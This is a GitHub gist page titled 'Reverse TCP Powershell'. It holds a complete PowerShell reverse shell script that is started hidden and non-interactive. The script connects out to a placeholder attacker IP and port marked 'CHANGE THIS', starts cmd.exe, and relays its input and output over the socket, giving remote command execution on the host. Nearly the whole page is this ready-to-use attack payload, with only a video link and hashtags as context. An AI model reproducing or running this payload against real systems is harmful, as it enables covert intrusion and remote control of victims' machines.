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August 13, 2020 13:58
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Save enderphan94/9fbc32b4b156f9236a8fed556f60bec2 to your computer and use it in GitHub Desktop.
Reverse TCP Powershell https://www.youtube.com/watch?v=CIdueghuvtk #shell #reversetcp #powershell
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powershell -NoP -sta -NonI -W Hidden | |
function RSC{ | |
if ($c.Connected -eq $true) { | |
$c.Close() | |
}; | |
if ($p.ExitCode -ne $null) { | |
$p.Close() | |
}; | |
exit; | |
}; | |
$a='192.168.0.109'; #CHANGE THIS | |
$p='4444'; #CHANGE THIS | |
$c=New-Object system.net.sockets.tcpclient; | |
$c.connect($a,$p); | |
$s=$c.GetStream(); | |
$nb=New-Object System.Byte[] $c.ReceiveBufferSize; | |
$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe'; | |
$p.StartInfo.RedirectStandardInput=1; | |
$p.StartInfo.RedirectStandardOutput=1; | |
$p.StartInfo.UseShellExecute=0; | |
$p.Start();$is=$p.StandardInput; | |
$os=$p.StandardOutput; | |
Start-Sleep 1; | |
$e=new-object System.Text.AsciiEncoding; | |
while($os.Peek() -ne -1){ | |
$o += $e.GetString($os.Read()) | |
}; | |
$s.Write($e.GetBytes($o),0,$o.Length); | |
$o=$null; | |
$d=$false; | |
$t=0; | |
while (-not $d) { | |
if ($c.Connected -ne $true) {RSC}; | |
$pos=0; | |
$i=1; | |
while (($i -gt 0) -and ($pos -lt $nb.Length)) { | |
$r=$s.Read($nb,$pos,$nb.Length - $pos); | |
$pos+=$r; | |
if (-not $pos -or $pos -eq 0) {RSC}; | |
if ($nb[0..$($pos-1)] -contains 10) {break}}; | |
if ($pos -gt 0){ | |
$str=$e.GetString($nb,0,$pos); | |
$is.write($str); | |
start-sleep 1; | |
if ($p.ExitCode -ne $null){RSC} | |
else{ | |
$o=$e.GetString($os.Read()); | |
while($os.Peek() -ne -1){ | |
$o += $e.GetString($os.Read()); | |
if ($o -eq $str) {$o=''}}; | |
$s.Write($e.GetBytes($o),0,$o.length); | |
$o=$null;$str=$null | |
} | |
} | |
else{RSC} | |
}; |
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